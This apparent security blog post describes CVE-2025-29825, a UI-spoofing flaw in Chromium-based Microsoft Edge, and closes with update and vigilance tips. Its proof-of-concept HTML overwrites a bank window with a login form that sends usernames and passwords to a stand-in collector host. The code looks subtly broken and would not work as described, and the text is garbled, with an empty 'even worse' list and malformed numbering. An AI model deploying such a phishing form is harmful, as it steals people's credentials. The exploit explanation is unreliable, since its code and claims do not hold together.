Microsoft Edge, based on Chromium, is one of the most popular web browsers. It promises users reliable security, but a newly disclosed vulnerability, CVE-2025-29825, exposes a serious risk. This flaw centers around user interface (UI) misrepresentation of critical information, enabling attackers to perform effective spoofing attacks over a network—all without needing valid credentials.

In this post, we’ll break down how this bug works, show a code snippet that demonstrates the flaw, and offer clear steps for protecting yourself. We'll also link to the original references for those wanting the deep technical dive.

What is CVE-2025-29825?

CVE-2025-29825 is a vulnerability affecting Chromium-based Microsoft Edge. The problem is pretty straightforward: the browser can display information to users in a way that looks legit, but is actually misleading. Attackers exploit this by making fake sites appear as if they're trusted, tricking users into giving up sensitive information or downloading malware.

Impact:
An attacker can hijack UI components such as the address bar, lock icon, or permission pop-ups, making users believe they are interacting with safe (or even secure) content, when in fact, they're interacting with the attacker's malicious page.

Severity:
This is a classic spoofing vulnerability—tricky to spot, high in impact, easy to fall for.

Technical Details — How the Exploit Works

At its core, the exploit involves making the browser render critical UI elements out of sync with the actual site. This often happens using JavaScript to open windows or frames, then manipulating their look and feel.

One common pattern is the window.open + navigation race:

Attacker opens a new window displaying a legitimate site.

2. Quickly, they use a script to overlay fake UI on top of it, or swap the URL via redirects, before the real page loads or before the user notices.

Basic Exploit Code Example

The following snippet demonstrates the *window spoofing* trick. The user believes they are visiting a trusted site, as the UI shows the expected domain and padlock, but the content comes from the attacker.

<!-- exploit.html -->
<html>
<head>
  <title>Login to Your Bank</title>
  <script>
    function spoofWindow() {
      let win = window.open('https://your-bank.com';, '_blank', 'width=800,height=600');

      setTimeout(() => {
        // Replace the content, but keep the original address in the address bar (or make a convincing copy)
        win.document.body.innerHTML = `
          <h1>Bank Login</h1>
          <form action="https://malicious-collector.com/steal"; method="POST">
            <input name="username" placeholder="Username">

            <input name="password" placeholder="Password" type="password">

            <button type="submit">Login</button>
          </form>
        `;
        // Optionally, spoof lock icon or other browser UI via full-screen mode etc.
      }, 500); // Race condition before user sees the original content
    }
  </script>
</head>
<body>
  <button onclick="spoofWindow()">Login to Your Bank</button>
</body>
</html>

> Important: Modern browsers usually prevent some of these tricks, but CVE-2025-29825 highlights gaps that still exist.

Real-World Exploitation

Attackers can combine this flaw with phishing emails or pop-ups prompting users to "Login Securely." Since the UI is crafted carefully, the average user cannot distinguish between the spoofed and legitimate interfaces.

What makes CVE-2025-29825 even worse:

Official References

- Microsoft Security Response Center (MSRC) Advisory
- NIST National Vulnerability Database Entry
- Chromium Bug Tracker (Example UI Spoofing Issue)

What to do if you use Edge or Chromium browsers

1. Update Now: Always be on the latest browser release. Microsoft and Chromium push patches quickly for UI vulnerabilities.
2. Double Check URLs: Manually check addresses before entering credentials—don’t rely only on browser UI or padlocks.
3. Beware of Pop-ups: Avoid logging in through windows/pop-ups you didn’t explicitly open or expect.
4. Educate Yourself and Others: This exploit relies on tricking people, not just systems. Spread the word.

Conclusion

CVE-2025-29825 reinforces the importance of not blindly trusting what you see—even in your favorite browser. While Microsoft Edge and its Chromium underpinnings are usually strong on security, UI misrepresentation bugs remain slippery and dangerous.

Stay secure: update often, stay wary of pop-ups, and always confirm site identity before entering sensitive information.


*We hope this breakdown helps you understand and guard against this new class of spoofing threat. For more on browser security, keep following the official advisories and stay sharp online.*

References

- MSRC CVE-2025-29825
- NVD CVE-2025-29825
- Chromium UI Spoofing Issue Example

Timeline

Published on: 05/02/2025 02:15:16 UTC
Last modified on: 05/29/2025 22:20:41 UTC